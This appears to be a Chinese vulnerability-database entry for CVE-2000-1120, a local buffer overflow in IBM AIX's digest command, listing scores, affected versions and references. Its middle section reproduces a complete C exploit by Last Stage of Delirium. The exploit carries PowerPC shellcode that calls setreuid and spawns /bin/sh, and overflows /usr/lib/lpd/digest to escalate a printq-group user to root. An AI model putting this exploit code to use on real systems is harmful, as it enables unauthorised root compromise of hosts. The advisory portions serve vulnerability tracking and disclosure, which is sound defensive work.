CVE-2000-1120
CVSS7.2
发布时间 :2001-01-09 00:00:00
修订时间 :2016-10-17 22:08:39
NMCOE    

[原文]Buffer overflow in digest command in IBM AIX 4.3.x and earlier allows local users to execute arbitrary commands.


[CNNVD]IBM AIX缓冲区溢出漏洞(CNNVD-200101-098)

        IBM AIX 4.3.x版本及之前版本的digest命令存在缓冲区溢出漏洞。本地用户可以执行任意命令。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:ibm:aix:4.3IBM AIX 4.3
cpe:/o:ibm:aix:4.3.1IBM AIX 4.3.1
cpe:/o:ibm:aix:4.2IBM AIX 4.2
cpe:/o:ibm:aix:4.3.2IBM AIX 4.3.2
cpe:/o:ibm:aix:4.2.1IBM AIX 4.2.1
cpe:/o:ibm:aix:4.3.3IBM AIX 4.3.3

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1120
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-1120
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200101-098
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=97569466809056&w=2
(UNKNOWN)  BUGTRAQ  20001201 Fixed local AIX V43 vulnerabilities
http://www-1.ibm.com/support/search.wss?rs=0&q=IY08143&apar=only
(UNKNOWN)  AIXAPAR  IY08143
http://www-1.ibm.com/support/search.wss?rs=0&q=IY08287&apar=only
(UNKNOWN)  AIXAPAR  IY08287
http://www.securityfocus.com/bid/2033
(VENDOR_ADVISORY)  BID  2033
http://xforce.iss.net/xforce/xfdb/5620
(UNKNOWN)  XF  aix-digest-bo(5620)

- 漏洞信息

IBM AIX缓冲区溢出漏洞
高危 缓冲区溢出
2001-01-09 00:00:00 2005-05-02 00:00:00
本地  
        IBM AIX 4.3.x版本及之前版本的digest命令存在缓冲区溢出漏洞。本地用户可以执行任意命令。

- 公告与补丁

        

- 漏洞信息 (20453)

IBM AIX 4.3 digest Buffer Overflow Vulnerability (EDBID:20453)
aix local
2000-12-01 Verified
0 Last Stage of Delirium
N/A [点击下载]
source: http://www.securityfocus.com/bid/2033/info

AIX is a version of the UNIX Operating System distributed by IBM. A vulnerability exists in the operating system which could allow a user an elevation in priviledge.

The problem occurs in the digest binary. It is reported that it is possible to overflow a buffer in the program and overwrite a pointer to the stack, which in turn can result in an overflow in a library referenced by the binary. The secondary overflow in the library makes it possible to overwrite other stack variables, including the return address.

A malicious user could use this vulnerability to gain an elevation in priviledges, and potentially UID 0. 

/*## copyright LAST STAGE OF DELIRIUM dec 2000 poland        *://lsd-pl.net/ #*/
/*## /usr/lib/lpd/digest                                                     #*/

/*   note: to avoid potential system hang-up please, first obtain the exact   */
/*   AIX OS level with the use of the uname -a or oslevel commands            */

/*   printq group to root user's privilages escalation attack                 */
/*   use aix_piomkapqd or aix_piobe codes first in order to gain egid=printq  */

#define PCHNUM  2200
#define ADRNUM  8000
#define NOPNUM  8000
#define ALLIGN  2

char setreuidcode[]=
    "\x7e\x94\xa2\x79"     /* xor.    r20,r20,r20            */
    "\x40\x82\xff\xfd"     /* bnel    <setreuidcode>         */
    "\x7e\xa8\x02\xa6"     /* mflr    r21                    */
    "\x3a\xb5\x01\x40"     /* cal     r21,0x140(r21)         */
    "\x88\x55\xfe\xe0"     /* lbz     r2,-288(r21)           */
    "\x7e\x83\xa3\x78"     /* mr      r3,r20                 */
    "\x3a\xd5\xfe\xe4"     /* cal     r22,-284(r21)          */
    "\x7e\xc8\x03\xa6"     /* mtlr    r22                    */
    "\x4c\xc6\x33\x42"     /* crorc   cr6,cr6,cr6            */
    "\x44\xff\xff\x02"     /* svca                           */
    "\xff\xff\xff\xff"
    "\x38\x75\xff\x04"     /* cal     r3,-252(r21)           */
    "\x38\x95\xff\x0c"     /* cal     r4,-244(r21)           */
    "\x7e\x85\xa3\x78"     /* mr      r5,r20                 */
    "\x90\x75\xff\x0c"     /* st      r3,-244(r21)           */
    "\x92\x95\xff\x10"     /* st      r20,-240(r21)          */
    "\x88\x55\xfe\xe1"     /* lbz     r2,-287(r21)           */
    "\x9a\x95\xff\x0b"     /* stb     r20,-245(r21)          */
    "\x4b\xff\xff\xd8"     /* bl      <setreuidcode+32>      */
    "/bin/sh"
;

char nop[]="\x7f\xff\xfb\x78";

main(int argc,char **argv,char **e){
    char buffer[20000],adr[4],pch[4],*b,*envp[2];
    int i;

    printf("copyright LAST STAGE OF DELIRIUM dec 2000 poland  //lsd-pl.net/\n");
    printf("/usr/lib/lpd/digest for aix 4.1 4.2 4.3 PowerPC/POWER\n\n");

    if(argc<2){
        printf("usage: %s 41|42|43\n",argv[0]);exit(-1);
    }

    switch(atoi(argv[1])){
    case 41: memcpy(&setreuidcode[40],"\x68\x03",2); break;
    case 42: memcpy(&setreuidcode[40],"\x71\x02",2); break;
    case 43: memcpy(&setreuidcode[40],"\x82\x04",2); break;
    default: exit(-1);
    }

    i=0; while(*e++) i+=strlen(*e)+1;
    *((unsigned long*)adr)=(unsigned long)e+(i&~3)-8000-2300;
    *((unsigned long*)pch)=(unsigned long)e+(i&~3)-2300;

    envp[0]=&buffer[3000];
    envp[1]=0;

    b=buffer;
    for(i=0;i<ALLIGN;i++) *b++=' ';
    for(i=0;i<PCHNUM;i++) *b++=pch[i%4];
    *b=0;

    b=&buffer[3000];
    sprintf(b,"xxx= ");b+=5;
    for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
    for(i=0;i<strlen(setreuidcode);i++) *b++=setreuidcode[i];
    for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
    *b=0;

    execle("/usr/lib/lpd/digest","lsd",buffer,"lsd",0,envp);
}

		

- 漏洞信息

1677
IBM AIX digest Local Overflow
Local Access Required Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

- 时间线

2000-12-01 Unknow
2000-12-01 Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站